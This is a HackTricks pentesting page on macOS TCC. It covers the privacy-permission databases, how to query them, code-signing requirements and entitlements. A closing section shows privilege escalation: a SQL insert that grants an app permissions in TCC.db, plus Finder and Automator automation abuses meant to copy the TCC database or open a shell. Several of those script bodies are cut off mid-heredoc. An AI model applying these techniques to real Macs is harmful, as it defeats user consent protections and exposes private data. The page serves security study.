# macOS TCC {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **Basic Information** **TCC (Transparency, Consent, and Control)** is a security protocol focusing on regulating application permissions. Its primary role is to safeguard sensitive features like **location services, contacts, photos, microphone, camera, accessibility, and full disk access**. By mandating explicit user consent before granting app access to these elements, TCC enhances privacy and user control over their data. Users encounter TCC when applications request access to protected features. This is visible through a prompt that allows users to **approve or deny access**. Furthermore, TCC accommodates direct user actions, such as **dragging and dropping files into an application**, to grant access to specific files, ensuring that applications have access only to what is explicitly permitted. ![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) **TCC** is handled by the **daemon** located in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` and configured in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registering the mach service `com.apple.tccd.system`). There is a **user-mode tccd** running per logged in user defined in `/System/Library/LaunchAgents/com.apple.tccd.plist` registering the mach services `com.apple.tccd` and `com.apple.usernotifications.delegate.com.apple.tccd`. Here you can see the tccd running as system and as user: ```bash ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd ``` Permissions are **inherited from the parent** application and the **permissions** are **tracked** based on the **Bundle ID** and the **Developer ID**. ### TCC Databases The allowances/denies then stored in some TCC databases: * The system-wide database in **`/Library/Application Support/com.apple.TCC/TCC.db`** . * This database is **SIP protected**, so only a SIP bypass can write into it. * The user TCC database **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** for per-user preferences. * This database is protected so only processes with high TCC privileges like Full Disk Access can write to it (but i't not protected by SIP). {% hint style="warning" %} The previous databases are also **TCC protected for read access**. So you **won't be able to read** your regular user TCC database unless it's from a TCC privileged process. However, remember that a process with these high privileges (like **FDA** or **`kTCCServiceEndpointSecurityClient`**) will be able to write the users TCC database {% endhint %} * There is a **third** TCC database in **`/var/db/locationd/clients.plist`** to indicate clients allowed to **access location services**. * The SIP protected file **`/Users/carlospolop/Downloads/REG.db`** (also protected from read access with TCC), contains the **location** of all the **valid TCC databases**. * The SIP protected file **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (also protected from read access with TCC), contains more TCC granted permissions. * The SIP protected file **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (bu readable by anyone) is an allow list of applications that require a TCC exception. {% hint style="success" %} The TCC database in **iOS** is in **`/private/var/mobile/Library/TCC/TCC.db`** {% endhint %} {% hint style="info" %} The **notification center UI** can make **changes in the system TCC database**: {% code overflow="wrap" %} ```bash codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd [..] com.apple.private.tcc.manager com.apple.rootless.storage.TCC ``` {% endcode %} However, users can **delete or query rules** with the **`tccutil`** command line utility. {% endhint %} #### Query the databases {% tabs %} {% tab title="user DB" %} {% code overflow="wrap" %} ```bash sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id # The table access contains the permissions per services sqlite> select service, client, auth_value, auth_reason from access; kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4 kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2 kTCCServiceMicrophone|us.zoom.xos|2|2 [...] # Check user approved permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=2; # Check user denied permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {% endcode %} {% endtab %} {% tab title="system DB" %} {% code overflow="wrap" %} ```bash sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id # The table access contains the permissions per services sqlite> select service, client, auth_value, auth_reason from access; kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4 kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2 kTCCServiceMicrophone|us.zoom.xos|2|2 [...] # Get all FDA sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2; # Check user approved permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=2; # Check user denied permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {% endcode %} {% endtab %} {% endtabs %} {% hint style="success" %} Checking both databases you can check the permissions an app has allowed, has forbidden, or doesn't have (it will ask for it). {% endhint %} * The **`service`** is the TCC **permission** string representation * The **`client`** is the **bundle ID** or **path to binary** with the permissions * The **`client_type`** indicates whether it’s a Bundle Identifier(0) or an absolute path(1)
How to execute if it's an absolute path Just do **`launctl load you_bin.plist`**, with a plist like: ```xml Label com.example.yourbinary Program /path/to/binary ProgramArguments arg1 arg2 RunAtLoad KeepAlive StandardOutPath /tmp/YourBinary.stdout StandardErrorPath /tmp/YourBinary.stderr ```
* The **`auth_value`** can have different values: denied(0), unknown(1), allowed(2), or limited(3). * The **`auth_reason`** can take the following values: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) * The **csreq** field is there to indicate how to verify the binary to execute and grant the TCC permissions: ```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; # To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line): BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003" echo "$BLOB" | xxd -r -p > terminal-csreq.bin csreq -r- -t < terminal-csreq.bin # To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line): REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}') echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n') echo "X'$REQ_HEX'" ``` * For more information about the **other fields** of the table [**check this blog post**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). You could also check **already given permissions** to apps in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`. {% hint style="success" %} Users _can_ **delete or query rules** using **`tccutil`** . {% endhint %} #### Reset TCC permissions ```bash # You can reset all the permissions given to an application with tccutil reset All app.some.id # Reset the permissions granted to all apps tccutil reset All ``` ### TCC Signature Checks The TCC **database** stores the **Bundle ID** of the application, but it also **stores** **information** about the **signature** to **make sure** the App asking to use the a permission is the correct one. {% code overflow="wrap" %} ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; #Get csreq # From bash echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin ## Get signature checks csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` {% endcode %} {% hint style="warning" %} Therefore, other applications using the same name and bundle ID won't be able to access granted permissions given to other apps. {% endhint %} ### Entitlements & TCC Permissions Apps **don't only need** to **request** and have been **granted access** to some resources, they also need to **have the relevant entitlements**.\ For example **Telegram** has the entitlement `com.apple.security.device.camera` to request **access to the camera**. An **app** that **doesn't** have this **entitlement won't be able** to access the camera (and the user won't be be even asked for the permissions). However, for apps to **access** to **certain user folders**, such as `~/Desktop`, `~/Downloads` and `~/Documents`, they **don't need** to have any specific **entitlements.** The system will transparently handle access and **prompt the user** as needed. Apple's apps **won’t generate prompts**. They contain **pre-granted rights** in their **entitlements** list, meaning they will **never generate a popup**, **nor** they will show up in any of the **TCC databases.** For example: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] com.apple.private.tcc.allow kTCCServiceReminders kTCCServiceCalendar kTCCServiceAddressBook ``` This will avoid Calendar ask the user to access reminders, calendar and the address book. {% hint style="success" %} Apart from some official documentation about entitlements it's also possible to find unofficial **interesting information about entitlements in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) {% endhint %} Some TCC permissions are: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... There is no public list that defines all of them but you can check this [**list of known ones**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service). ### Sensitive unprotected places * $HOME (itself) * $HOME/.ssh, $HOME/.aws, etc * /tmp ### User Intent / com.apple.macl As mentioned previously, it possible to **grant access to an App to a file by drag\&dropping it to it**. This access won't be specified in any TCC database but as an **extended** **attribute of the file**. This attribute will **store the UUID** of the allowed app: ```bash xattr Desktop/private.txt com.apple.macl # Check extra access to the file ## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command macl_read Desktop/private.txt Filename,Header,App UUID "Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3 # Get the UUID of the app otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` {% hint style="info" %} It's curious that the **`com.apple.macl`** attribute is managed by the **Sandbox**, not tccd. Also note that if you move a file that allows the UUID of an app in your computer to a different compiter, because the same app will have different UIDs, it won't grant access to that app. {% endhint %} The extended attribute `com.apple.macl` **can’t be cleared** like other extended attributes because it’s **protected by SIP**. However, as [**explained in this post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), it's possible to disable it **zipping** the file, **deleting** it and **unzipping** it. ## TCC Privesc & Bypasses ### Insert into TCC If at some point you manage to get write access over a TCC database you can use something like the following to add an entry (remove the comments):
Insert into TCC example ```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
### TCC Payloads If you managed to get inside an app with some TCC permissions check the following page with TCC payloads to abuse them: {% content-ref url="macos-tcc-payloads.md" %} [macos-tcc-payloads.md](macos-tcc-payloads.md) {% endcontent-ref %} ### Apple Events Learn about Apple Events in: {% content-ref url="macos-apple-events.md" %} [macos-apple-events.md](macos-apple-events.md) {% endcontent-ref %} ### Automation (Finder) to FDA\* The TCC name of the Automation permission is: **`kTCCServiceAppleEvents`**\ This specific TCC permission also indicates the **application that can be managed** inside the TCC database (so the permissions doesn't allow just to manage everything). **Finder** is an application that **always has FDA** (even if it doesn't appear in the UI), so if you have **Automation** privileges over it, you can abuse its privileges to **make it do some actions**.\ In this case your app would need the permission **`kTCCServiceAppleEvents`** over **`com.apple.Finder`**. {% tabs %} {% tab title="Steal users TCC.db" %} ```applescript # This AppleScript will copy the system TCC database into /tmp osascript<
{% hint style="danger" %} Note that because the **Automator** app has the TCC permission **`kTCCServiceAppleEvents`**, it can **control any app**, like Finder. So having the permission to control Automator you could also control the **Finder** with a code like the one below: {% endhint %}
Get a shell inside Automator ```applescript osascript< Same happens with **Script Editor app,** it can control Finder, but using an AppleScript you cannot force it to execute a script. ### Automation (SE) to some TCC **System Events can create Folder Actions, and Folder actions can access some TCC folders** (Desktop, Documents & Downloads), so a script like the following one can be used to abuse this behaviour: ```bash # Create script to execute with the action cat > "/tmp/script.js" < Services SystemPolicyAllFiles CodeRequirement identifier "com.apple.Terminal" and anchor apple IdentifierType bundleID Identifier com.apple.Terminal ``` ### TCC Bypasses {% content-ref url="macos-tcc-bypasses/" %} [macos-tcc-bypasses](macos-tcc-bypasses/) {% endcontent-ref %} ## References * [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) * [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command) * [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/) * [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}